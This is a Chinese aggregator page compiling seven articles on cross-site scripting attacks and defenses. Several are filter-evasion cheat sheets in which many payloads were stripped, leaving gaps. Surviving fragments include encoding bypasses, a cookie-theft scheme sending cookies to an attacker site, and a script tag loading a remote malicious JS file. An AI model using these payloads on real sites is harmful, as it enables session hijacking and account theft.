也谈跨站脚本攻击与防御脚本安全

时间:2023-12-17 08:28:34 其他范文 收藏本文 下载本文

也谈跨站脚本攻击与防御脚本安全(精选7篇)由网友“冰蝴蝶-Amanda”投稿提供,以下是小编整理过的也谈跨站脚本攻击与防御脚本安全,希望能够帮助到大家。

也谈跨站脚本攻击与防御脚本安全

篇1:也谈跨站脚本攻击与防御脚本安全

网络上曾经有过关于跨站脚本攻击与防御的文章,但是随着攻击技术的进步,以前的关于跨站脚本攻击的看法与理论已经不能满足现在的攻击与防御的需要了,而且由于这种对于跨站脚本认识上的混乱,导致现在很多的程序包括现在的动网都存在着跨站脚本过滤不严的问题,希望本文能给写程序的与研究程序的带来一点思路,

还是首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下:

恶意用户的Html输入――――>web程序――――>进入数据库――――>web程序――――>用户浏览器

这样我们就可以清楚的看到Html代码是如何进入受害者浏览器的了,我们也就可以根据这个流程来讨论跨站脚本的攻击与防御了!

1 什么是HTml输入?

这里给出一个HTml代码的示例

很多的程序最终都是将用户的输入转换成这种形式的。可以看到是告诉浏览器这是一个Html标记,img是这个Html标记的名称,src是这个标记的第一个属性,=后面是这个属性的值,后面的width是第二个属性,onerror是标记的事件属性。大家可以看到,一个Html标记是包括很多元素的,并不是传统意义上的只有输入才会注入Html,事实上只要你的输入处在Html标签内,产生了新的元素或者属性,就实现了跨站脚本攻击!实际上大多数隐秘的跨站脚本攻击是不需要的,因为现在的Ubb标签已经让你处在了Html标记之内,很有意思,不是么?

2 哪里才是罪恶的来源?

既然我们的目标是引入代码在目标用户的浏览器内执行,那么我们来看看哪些地方可以引入HTml代码吧!如果用户可以不受限制的引入,那么很显然他可以完全操纵一个Html标记,譬如这样的形式,这对于追求安全的程序来说是绝对不允许的,所以首先要做转换的就是,通过如下代码:

过滤代码:

replace(str,“<”,“<”)

replace(str,“>”,“>”)

好了,用户可能不能构造自己的HTml标记了,那么利用已经存在的属性如何呢?下面的代码依然可以工作得很好:

因为很多的Html标记里属性都支持javascript.:[code]的形式,很好,很多的程序意识到了这一点,可能做了如下的转换:

过滤代码

Dim re

Set re=new RegExp

re.IgnoreCase =True

re.Global=True

re.Pattern=“javascript.:”

Str = re.replace(Str,“javascript:”)

re.Pattern=“jscript.:”

Str = re.replace(Str,“jscript:”)

re.Pattern=“vbscript.:”

Str = re.replace(Str,“vbscript:”)

set re=nothing

你看,只要发现以javascript等脚本属性的形式都会被过滤掉,失去了:的脚本代码是起不了作用的!这样完美了么?事实上Html属性的值,注意是值而不是属性本身是支持&SCii这种形式表示的,譬如上面的代码可以换成这样:

代码又执行了,呵呵!看来你漏掉了点什么哦,加上这个代码吧!

replace(str,“&”,“&”)

行了,&失去它原来的意义了,用户不能以其他方式表示Html属性值了哦!等等,这样的过滤真可以相信么?只要发现这种过滤的关键字机制,饶过就是简单的问题了:

没有javascript关键字了哦!注意中间那个是tab键弄出来的!关键字被拆分了哦!这是个很麻烦的问题,很多人忘记了这些特殊的字符,呵呵!有人想到要过滤空格了,在过滤之前我们再看看其他的一些东西吧!也许我们现在所处的src属性已经无法利用了,但是我们依然可以产生自己的属性或者事件机制哦!依然是可以执行Html代码的,首先说说事件机制吧:

这样依然可以执行代码的哦!明白问题出在哪了,不是么?有的程序员仿佛明白了,注意我说的是仿佛,动网就是一个典型的例子,事件属性不是要onerror么?很多人开始用正则表达式了,发现关键的词如onerror就会做转换或者提示用户不执行,是不是没有机会了呢?

当然不是的,事件只是让代码运行的一种方法而不是所有的,可以定义事件了那么也就可以实现自己弄出自己的属性了,试试下面的:

呵呵,还是执行了哦!在做关键字过滤之后有人发现是不是属性之间分隔要用到空格,好,他们把空格堵死了(这样认为的人很多,呵呵)!将空格转成 是个很普遍的方法?是么?甚至还可以让别人无法关键字拆分,不要太自信了,试试下面的代码看看如何:

嘿嘿,Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的!那怎么办呢?上面提到的好象一直都是在进行被动的攻击防御,为什么不抓住他的本源出来呢?哪里出了问题哪里堵上!

3 本质

上面的问题好象本质上就是一个东西,那就是用户超越了他所处的标签,也就是数据和代码的混淆,对付这种混淆的办法就是限制监牢,让用户在一个安全的空间内活动,这通过上面的分析大家也可能已经知道,只要在过滤了这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到“”之间,现在的一般的程序都是这样做的,譬如将会转化成这是个好的安全习惯,然后呢?就要让用户的输入处在安全的领域里了,这可以通过过滤用户输入里“”实现,但是不要忘记了,这个标签本身也是不安全的,过滤掉空格和tab键就不用担心关键字被拆分饶过了,然后就是用文章中提到的办法过滤掉script关键字,最后就是防止用户通过&样的形式饶过检查,转换掉&吧!

4 困惑

在文章中开始提到的图里可以看到,数据的转换和过滤是可以在3个地方进行转换的,在接受数据的时候可以转换下,在进入数据库的时候可以转换下,在输出数据的时候也可以转换下,但是困惑在哪里呢?不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲,安全是要有代价的,譬如现在邮箱的就不愿意舍弃html标签,因为需要支持多资多彩的页面,所以他们侧重于XSS的IDS检测的性质,只要发现不安全的东西就会转化,但是攻击是无法预知的,漂亮的东西总是脆弱的,有限制,肯定就有人会饶过,呵呵,

本文没什么技术含量,只是希望搞安全的脚本人员能更加的了解Xss,跨站,不是那么简单滴!

篇2:跨站脚本攻击和防御指向

原文:milw0rm.com

作者:Xylitol

翻译:老臧

首发:lovelaozang.cn

摘要:

1>什么是XSS?

2>XSS脚本攻击

3>制造一个cookie攻击

4>保护XSS

5>笨方法

6>过滤绕过

7>Flash攻击

8>XSS 上传

9>XSS 钓鱼

____ ____

/ /

______/ /_____________________________________ \______

| / / |

| / /.:Chapter 1 - 什么是XSS? :. |

|___/ /___________________________________________ \___|

/ /

/___/ \___

跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案, 这次袭击使内容(脚本) ,在无特权区被执行与权

限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:

* Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。

* Web浏览器配置漏洞,不安全的站点在特定的区域被列出

* 特定的区域被跨站脚本攻击

用命令攻击要有如下两个步骤:

第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一

些恶意操作.

当这个攻击完成后,将有恶意软件(像蠕虫远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。

____ ____

/ /

______/ /_____________________________________ \______

| / / |

| / /.:Chapter 2 - XSS脚本攻击 :. |

|___/ /___________________________________________ \___|

/ /

/___/ \___

新建一个文本文档,把下面的代码放进:

transitional.dtd”>

Simple XSS vulnerability by Xylitol

Simple XSS vulnerability by Xylitol

Search:

然后,把这个页面保存为index.html

再新建一个文本文档,把下面的代码放进去:

transitional.dtd”>

Search result:

Search result :

把文件另存为XSS.php

关闭记事本

在firefox里面打开index.html

输入一个值然后点search

返回页面输入

发送表单

弹出一个对话框

_______________________________________

/ 127.0.0.1 dit: X

|________________________________________|

| |

| |

| ^ |

| / |

| / | XSS |

| / . |

| ――- |

| ______ |

| | OK | |

| ―― |

|________________________________________|

XSS攻击这时产生了…

____ ____

/ /

______/ /_____________________________________ \______

| / / |

| / /.:Chapter 3 - 制造一个cookie攻击 :. |

|___/ /___________________________________________ \___|

/ /

/___/ \___

把这段代码插入到一个易受攻击的页面(如:留言板)

(www.Hax0r.com = 你的网站)

打开记事本,把下面的代码放进去,另存为cookie.php

transitional.dtd”>

Error

Error-Access deniedfor

这对于攻击者还不够,等着还不如接收电子邮件,

____ ____

/ /

______/ /_____________________________________ \______

| / / |

| / /.:Chapter 4 - 保护XSS :. |

|___/ /___________________________________________ \___|

/ /

/___/ \___

修补漏洞:

为修复XSS漏洞使用htmlentities

在第16行放置

Search result :

By:

Search result :

if(isset($_POST[Vulnerability])) { echo htmlentities($_POST[Vulnerability]); } ?>

use htmlspecialchars function in PHP

other function:

htmlentities() quotes

strip_tags()

____ ____

/ /

______/ /_____________________________________ \______

| / / |

| / /.:Chapter 5 - 笨方法 :. |

|___/ /___________________________________________ \___|

/ /

/___/ \___

要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:

利用image:

利用flash:

重定向:

还有:

____ ____

/ /

______/ /_____________________________________ \______

| / / |

| / /.:Chapter 6 - 过滤绕过 :. |

|___/ /___________________________________________ \___|

/ /

/___/ \___

事实上也不是那么简单就能绕过 htmlspecialchars()

这里有一些关于绕过xss的例子:

‘”>>

XSS

‘”>>

‘>>

XSS

“>

style=”x

篇3:安全测试跨站脚本攻击(xss)脚本安全

跨站脚本简称(cross sites script),是安全里比较重要也比较普遍的一种安全漏洞,跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。

最常见的跨站脚本的方法,输入

以及它的各种变体

实体

%3Cscript%3Ealert(1)%3C/script%3E URL编码

或者

;等

如果提交后,页面弹出警告框,则该页面存在xss漏洞

*反射型xss

通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果

如:一段代码

//location.search返回url?开始的部分

当输入以下url

“127.0.0.1/attrck.html?search=222”

页面将显示:?search=222 ;但url中如果输入

/?search=

则页面的实际代码为:

document.write(?search=);

将弹出警告框,即代码被执行了,而并非页面原来显示?后字符串的效果

可以使用伪造后的url获取用户cookie

如,在示例1中加入document.cookie=(“name=123”);,设置cookie,然后构造url如下,实现将localhost域的cookie传递到并进行搜索

127.0.0.1/attrck.html?search=

因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域

*保存型xss

是指将恶意代码保存到服务器,比如发布一篇包含恶意代码,其他用户浏览时将执行恶意脚本

*基于dom的xss

严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss

查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等,

篇4:XSS(跨站脚本攻击) 逃避过滤脚本安全

XSS(跨站脚本攻击) 备忘录

逃避过滤

出处:ha.ckers.org/xss.html

作者:RSnake

翻译:帝释天

如果你不知道如何进行XSS攻击,那么本文或许对你没有任何帮助,这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理解关于绕过过滤的细节问题的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到一些最基本的方法来推测剩余的部分。

(介绍部分略,太基础的部分也略,罪过,希望RSnake大牛大人有大量)

不分大小写引起的XSS

Code:

包含HTML字符

Code:

沉音符混淆(如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞)

Code:

畸形的IMG标签。最初由Beqeek发现(整理精简后可以工作于所有浏览器),该方法利用了松散的图形渲染引擎让我们能在被引号包围的IMG标签中创建自己的XSS。

Code: “>

fromCharCode 如果你无法使用引号,你可以使用fromCharCode用于eval函数。

Code:

UTF-8编码

Code:

Long UTF-8 编码可以不使用分号,这样绕过一些正则检查

Code:

没有分号的Hex编码

Code:

嵌入TAB键进行攻击

Code:

嵌入编码过后的TAB键

Code:

嵌入新行可以进行XSS,一些网站上说char 09 – 13都可以为XSS攻击服务,那显然不正确。只有09 10 13才会正常工作。

Code:

Code:

Code:

SRC

=

j

a

v

a

s

c

r

i

p

t

:

a

l

e

r

t

(

'

X

S

S

'

)

>

NULL字符能逃避很多过滤系统

Code: perl -e 'print ”“;' >out

Code: perl -e 'print ”alert(\“XSS\”)“;' >out

多余的开放括号。提交弗兰兹泽德尔迈尔,这XSS的载体能战胜某些侦测引擎,通过使用匹配的第一个打开和关闭角括号对和做了比较,然后在标签内的工作,而不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签(后解除困惑,当然)。双斜线意见中提出的结局无关的支架,以制止JavaScript错误:

Code: <

未关闭的标签

Code:

各种其他的标签

Code:

Code:

Code:

Code:

Code:

Code:

(netspace)

Code:

Code:

Code:

Code: ; REL=stylesheet”>

Code:

Code:

Code:

XSS

Code: (netscape only)

Code: (netscape only)

Code:

Code:

Code:

Code:

Code:

US_ASCII编码(库尔特发现),

使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互。

Code: ?scriptualert(EXSSE)?/scriptu

META协议

Code:

Code:

Code:

对DIV进行unicode编码

Code:

使用expression属性

Code:

STYLE标签

Code:

Code:

Code:

Code:

OBJECT标签

Code:

Code:

EMBED标签

Code:

Code:

在flash文件中使用如下代码:

Code: a=“get”;

b=“URL(\”“;

c=”javascript.:“;

d=”alert('XSS');\“)”;

eval(a+b+c+d);

XML namespace可以引入行为文件htc但是必须在同一服务器上

Code:

XSS

Xss.htc:

使用CDATA模糊化的XML数据岛

Cdoe: ]]>

XML数据岛

Code:cript:alert('XSS')”>

Code:

(xsstest.xml)必须同域下

HTML+ TIME

Code:

UTF7编码

Code:+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

防止二次执行的expression语句

篇5: 针对$SERVER[’PHPSELF’]的跨站脚本攻击脚本安全

现在的web服务器和开发工具虽然不会再出现像asp的%81那样明显的漏洞了,但是由于开发人员的疏忽和各种语言特性组合造成的一些奇异的漏洞仍然会存在,

针对$SERVER[’PHPSELF’]的跨站脚本攻击脚本安全

。今天偶然读到的XSS Woes,就详细讲述了和$_SERVER[’PHP_SELF’]相关的一个危险漏洞。

$_SERVER[’PHP_SELF’]在开发的时候常会用到,一般用来引用当前网页地址,并且它是系统自动生成的全局变量,也会有什么问题么?让我们先看看下面的代码吧:

以下是引用片段:

这段代码非常简单,我们想用$_SERVER[’PHP_SELF’]来让网页提交时提交到它自己,假设代码文件名为test.php,在执行的时候就一定会得到我们期望的地址么?首先试试地址…/test.php,结果当然是没有问题的啦,别着急,你再访问一下…/test.php/a=1,将会得到如下客户端代码:

以下是引用片段:

显然,这已经超出了我们的期望,web服务器居然没有产生诸如404之类的错误,页面正常执行了,并且在生成的html代码中居然有用户可以输入的部分,恐怖的地方就在这里。别小看那个“a=1”,如果把它换成一段js代码,就显得更危险了,比如这么调用:

…/test.php/%22%3E%3Cscript%3Ealert(’xss’)%3C/script%3E%3Cfoo是不是看到了js的alert函数执行的效果?检查一下生成的html源代码找找原因吧。

通过这种嵌入js代码的方式,攻击者能蚧竦512~4k的代码空间,甚至还可以连接外部网站的js代码或者通过image调用来伪装js代码的方式,那样 js代码的长度就不受限制了,然后通过js,他们可以轻松的获取用户的cookie,或者更改当前页面的任何内容,比如更改表单提交的目的地,更改显示的内容(比如给一个链接地址增加一个onclick=…的属性,这样用户点击的时候就会执行攻击者指定的代码,甚至连接到并非此链接地址本身的网站),甚至作出一个ajax效果来也不一定,总之,不要忽视js的威力。

那么,再来看看这个漏洞产生的原理,首先test.php/….这种调用是web服务器允许的,很多cms系统,比如我以前用过的plog,好像也是采用这种方式,在服务器不支持rewrite的情况下实现诸如http: //…/index.php/archive/999这样的固定网址的(我以前还以为是对404错误页下的手),所以带“/”的地址无法从web服务器上禁止,

然后再看看php中对$_SERVER[’PHP_SELF’]的识别,他就是一个包含当前网址值的全局变量,天知道用户会输入什么样的网站,在上面的例子中是恶意的,可是在 这样的网站上,却又是可以正常使用这种方式的地址的。所以,最终的结论要落在开发人员身上了,没有很好的处理与用户交互的数据。

从安全角度来讲,在开发应用尤其是web应用的时候,所有用户提交的数据都是不安全的,这是基本原则,所以我们才不厌其烦的又是客户端验证又是服务端验证。从上面说的这个安全漏洞来讲,不安全的内容中又要增加“网址”一条了。要解决$_SERVER [’PHP_SELF’]的安全隐患,主要有以下2种方式:

1、htmlentities

用htmlentities($_SERVER [’PHP_SELF’])来替代简单的$_SERVER[’PHP_SELF’],这样即使网址中包含恶意代码,也会被“转换”为用于显示的html代码,而不是被直接嵌入html代码中执行,简单一点说,就是“<”会变成“<”,变成无害的了。

2、REQUEST_URI

用$_SERVER[’REQUEST_URI’]来替代$_SERVER[’PHP_SELF’],在phpinfo中可以看到这两个变量的区别:

_SERVER[”REQUEST_URI”] /fwolf/temp/test.php/%22%3E%3Cscript%3Ealert(’xss’)%3C/script%3E%3Cfoo

_SERVER[”PHP_SELF”] /fwolf/temp/test.php/”>

$_SERVER [’REQUEST_URI’]会原封不动的反映网址本身,网址中如果有%3C,那么你得到的也将会是%3C,而$_SERVER [’PHP_SELF’]会对网址进行一次urldecode操作,网址中的%3C将会变成字符“<”,所以就产生了漏洞。需要注意的是,在很多情况下,浏览器会对用户输入要提交给web服务器的内容进行encode,然后服务器端程序会自动进行decode,得到相应的原指,在我们进行post或者get操作的时候都是这样。

另外还有两点需要指出,第一是这种写法虽然没有直接用到$_SERVER[’PHP_SELF’],但实际效果却是一样的,只是发生的时间错后到了用户提交之后的下一个页面,所以,form的action还是不要留空的好。第二点,除了PHP_SELF之外,其他的$_SERVER变量也许也会有类似的漏洞,比如SCRIPT_URI, SCRIPT_URL, QUERY_STRING, PATH_INFO, PATH_TRANSLATED等等,在使用他们之前一定要先作htmlentities之类的转换。

篇6:77种网站XSS跨站攻击脚本语法脚本安全

XSS又叫CSS (Cross-Site Script) ,跨站脚本攻击,恶意攻击者往Web页面里插入恶意html代码

当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

XSS分两类:

一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。

另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。

如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开

(1)普通的XSS JavaScript注入

(2)IMG标签XSS使用JavaScript命令

(3)IMG标签无分号无引号

(4)IMG标签大小写不敏感

(5)HTML编码(必须有分号)

(6)修正缺陷IMG标签

”>

(7)formCharCode标签(计算器)

(8)UTF-8的Unicode编码(计算器)

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

(10)十六进制编码也是没有分号(计算器)

(11)嵌入式标签,将Javascript分开

(12)嵌入式编码标签,将Javascript分开

(13)嵌入式换行符

’);”>

(14)嵌入式回车

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

(16)解决限制字符(要求同页面)

(17)空字符

perl -e ‘print “”;’ >out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print “alert(”XSS”)”;’ >out

(19)Spaces和meta前的IMG标签

(20)Non-alpha-non-digit XSS

(21)Non-alpha-non-digit XSS to 2

(22)Non-alpha-non-digit XSS to 3

(23)双开括号

<

(24)无结束脚本标记(仅火狐等浏览器)

(29)换码过滤的JavaScript

[code]”;alert(‘XSS’);//

(30)结束Title标签

(31)Input Image

(32)BODY Image

(33)BODY标签

(34)IMG Dynsrc

(35)IMG Lowsrc

(36)BGSOUND

(37)STYLE. sheet

(38)远程样式表

(39)List-style-image(列表式)

XSS

(40)IMG VBscript

XSS

篇7:如何防范XSS跨站脚本攻击――测试篇WEB安全

Reflected XSS(反射跨站脚本攻击)

这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中,传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。

初看上去,由于用户只能在自己的页面上注入代码,所以似乎这个漏洞并不严重,但是,只需一点点社会工程的方法,攻击者就能诱使用户访问一个在结果页面中注入了代码的URL,这就给了攻击者整个页面的权限。由于这种攻击往往会需要一些社会工程方法,所以研发人员往往不会太过看重,但是我们看如下的例子,在服务器上有如下代码:

article.php?title=

这就使得浏览器每3秒就刷新一次页面,而且是一个死循环的状态,这就形成了DOS攻击,导致Web服务器挂掉。

DOM-Based XSS(基于DOM的XSS)

这个漏洞往往存在于客户端脚本,如果一个Javascript脚本访问需要参数的URL,且需要将该信息用于写入自己的页面,且信息未被编码,那么就有可能存在这个漏洞,

黑盒测试和示例:

比较简单的测试是否存在XSS漏洞的方法是验证Web应用是否会对一个包含了HTTP响应的简单脚本的访问请求,例如,Sambar服务器(5.3)包含一个众所周知的XSS漏洞,我们向服务器发送如下的请求,从服务器端能够产生一个响应从而在Web浏览器中执行

server/cgi-bin/testcgi.exe?

这个脚本会在客户浏览器端被执行。

我们再举个例子:

由于Javascript是区分大小写的,有些人会尝试将所有字符转换为大写字符来避免XSS漏洞,在这时,我们最好还是使用VBScript,因为它是大小写不区分的:

JavaScript.

VBScript.

如果我们已经过滤了”<”,或者是

%3cscript. src=www.example.com/malicious-code.js%3e%3c/script%3e

\x3cscript. src=www.example.com/malicious-code.js\x3e\x3c/script\x3e

确保PHP应用程序的安全[2]WEB安全

跨站脚本漏洞的利用教程

对于跨不同服务器的sql脚本执行语言的摘要数据库教程

脚本范文

财务软件实施维护工程师简历表格

脚本 范文

网络安全试题

广告脚本范文

ki Wiki CMS群件本地文件包含和跨站脚本漏洞及修复

关于DOM xss跨站的一点点经验之谈

也谈跨站脚本攻击与防御脚本安全
《也谈跨站脚本攻击与防御脚本安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【也谈跨站脚本攻击与防御脚本安全(精选7篇)】相关文章:

phpfusion的一个Xday分析脚本安全2022-10-13

网络信息安全工作自查报告2022-10-30

五招制敌!教你甄别淘宝钓鱼站网络技巧2023-03-17

鸡肋的反射性xss脚本安全2023-04-01

PHP安全 XSS篇2022-08-02

web安全学习之xss个人总结2023-02-14

网络爬虫论文范文2022-09-25

由于Nginx漏洞导致的入侵事件WEB安全2023-08-17

售前工程师求职简历表格2024-04-21

校园网络安全自查报告2022-05-06